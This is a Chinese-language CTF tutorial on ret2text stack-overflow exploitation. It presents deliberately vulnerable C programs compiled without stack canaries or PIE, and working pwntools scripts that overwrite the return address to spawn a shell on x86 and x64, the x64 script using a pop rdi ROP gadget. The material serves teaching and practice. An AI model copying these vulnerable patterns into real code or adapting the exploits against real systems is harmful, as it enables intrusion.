注: ret2text即控制返回地址指向程序本身已有的的代码(.text)并执行。
例题1部署(无需函数传参情况)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
system(shell);
return 0;
}
int dofunc(){
char a[8]={};
write(1,"inputs: ",7);
read(0,a,0x100);
return 0;
}
int main(){
dofunc();
return 0;
}
生成64位可执行文件,-no-pie 去除地址随机化,-fno-stack-protector去除canary机制溢出保护。
gcc ret2text_func.c -no-pie -fno-stack-protector -o ret2text_func_x86_1
checksec检查一下,没有问题
看代码可以很容易发现,func函数中就有可以直接调用的system函数,且其参数shell = “/bin/sh”已经满足getshell需求。且未开启溢出保护,只需要利用read函数通过dofunc中的参数a溢出覆盖返回地址将其引导到func的地址即可。
利用ida简单查看一下偏移量为0x8+0x8 = 0x10。
gdb查看func地址为0x401146
书写payload并运行,很容易得到shell
from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')
#打开路径
io = process('./test')
#调试信息
#gdb.attach(io)
#pause()
#注入信息
payloadtext = 0x401146
padding = 0x10
payload = padding*b'a' + p64(payloadtext)
dem = b'inputs: \n'
io.sendlineafter(dem,payload)
io.interactive()
例题2部署(函数传参)
多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起。代码如下
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
system(cmd);//不同处
return 0;
}
int dofunc(){
char a[8]={};
write(1,"inputs: ",7);
read(0,a,0x100);
return 0;
}
int main(){
dofunc();
return 0;
}
准备好x86和x64两种可执行文件
gcc -m32 ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x86
gcc ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x64
函数调用约定
_cdecl: c/c++默认方式,参数从右向左入栈,主调函数负责栈平衡。
_stdcall: Windows API方式,参数从右向左入栈,被调函数负责栈平衡。
_fastcall: 快速调用方式。即将参数优先从寄存器传入(ecx和edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于cpu内,存取快于内存。
这里讲述默认的gcc调用约定_cdecl的一些特点。
x86
- 使用栈传递参数
- 使用eax存放返回值
x64
- 前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中
- 多余的参数存放于栈中
x86题解方法
对于函数传参的函数,其栈格式为
故而我们需要利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。具体原因在文章末尾体现。
现在利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解)
书写payload:
from pwn import *
#配置信息
context(log_level='debug',arch='i386',os='linux')
#context(arch='arm64',os='linux')
#打开路径
file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
#gdb.attach(io)
#pause()
#注入信息
sh_addr = 0x804c018
#ret_addr = 0x8049186
ret_addr = elf.symbols['func']
padding = 0x14
payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()
成功
x64
对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。
ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。
知道了ROP工具的功能,我们需要做的是
- 修改rdi的值(可使用代码pop rdi ; ret)
- 在栈中放入‘bin/sh’经由pop提交给rdi
- 进入func函数内调用system函数
利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解):
利用ROPgadget查找需要的代码行--pop rdi ; ret
ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'
构造payload:
from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')
#打开路径
file = './ret2text_func2_x64'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
gdb.attach(io)
pause()
#注入信息
sh_addr = 0x404028
#ret_addr = 0x401146
ret_addr = elf.symbols['func']
pop_rdi_ret = 0x40121b
padding = 0x10
payload = padding*b'a' + p64(pop_rdi_ret) + p64(sh_addr)+ p64(ret_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()
运行成功pwn掉
x86题解补充疑问
对于本题的函数传参,我们的栈帧构造初步想法如图
ebp | ‘aaaa’ |
r | return to func |
参数一 | “/bin/sh” |
- 输入适量垃圾填充 padding * b 'a'
- 覆盖返回地址指向func函数 p32(ret_addr)
- 参数"/bin/sh"地址
则payload = padding*b'a' + p32(ret_addr) + p32(sh_addr)
然而这样的脚本在攻击时会出错。原因在于:
正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。
故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。